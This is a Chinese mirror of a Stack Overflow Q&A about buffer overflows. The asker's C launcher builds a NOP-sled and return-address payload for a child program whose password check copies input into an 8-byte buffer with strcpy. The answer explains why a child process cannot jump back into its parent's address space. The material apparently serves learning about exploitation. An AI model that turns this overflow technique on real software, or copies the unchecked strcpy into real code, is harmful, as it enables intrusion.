gpt4 book ai didi

c - 如何从子进程访问父进程的地址空间?

转载 作者:行者123 更新时间:2023-11-30 15:07:51 25 4
gpt4 key购买 nike

我正在通过 C 库函数 system() 从另一个程序 A 的主函数执行程序 B。但是,当我将 A 的地址作为参数传递给 B ,以通过缓冲区溢出替换进程 B 中的返回地址时,它显示段错误。

我知道每个进程都无法访问另一个进程的地址空间。但是有什么办法可以让子进程缓冲区溢出,以便执行返回到父进程吗?我使用的是 x64 位机器和带有 -m32-fno-stack-protector 选项的 gcc。

这是程序 A,我正在其中执行另一个程序 B:

int main(int argc, char *argv[]) {
unsigned int i, ret, offset=270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory

strcpy(command, "./child \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end

if(argc > 1) // set offset
offset = atoi(argv[1]);

ret = (unsigned int) &i - offset; // set return address

for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // add NOP instructions

strcat(command, "\'");

system(command); // run another program
free(command);
}

这是另一个容易受到缓冲区溢出攻击的程序B

int testAuthenetication(char *password){
int value = 0;
char buffer[8];

strcpy(buffer, password);

if(strcmp(buffer, "abcd") == 0){
value = 1;
}
if(strcmp(buffer, "abcdef") == 0){
value = 1;
}

return value;
}

int main(int argc, char *argv[]){
if(argc < 2){
printf("Enter the password \n");
return 0;
}

if(testAuthenetication(argv[1])){
printf("Access Granted \n");
}
else{
printf("Access denied \n");
}
return 0;
}

最佳答案

“以便执行返回到父进程”:我不明白这是怎么可能的。父进程的指令位于另一个内存空间(内核通过CR3选择的不同页表),因此如果尝试从子进程跳转到父进程的地址,那里将会出现垃圾/无效页面。

我建议您更清楚地说明上下文/最终目标:您是否试图从溢出中执行任意代码?是吗? B 是易受攻击的程序,A 是漏洞利用代码?

如果是这种情况,请尝试将任意代码写入子进程内存的可执行部分,然后使用溢出跳转到该部分,这一切都在子进程本身中。我不确定这是否有效。

此 X 的 Y 已在以下位置询问得不太精确:How are buffer overflows used to exploit computers? (但目前的答案没有给出一个最小的例子)。

关于c - 如何从子进程访问父进程的地址空间?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/37905431/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com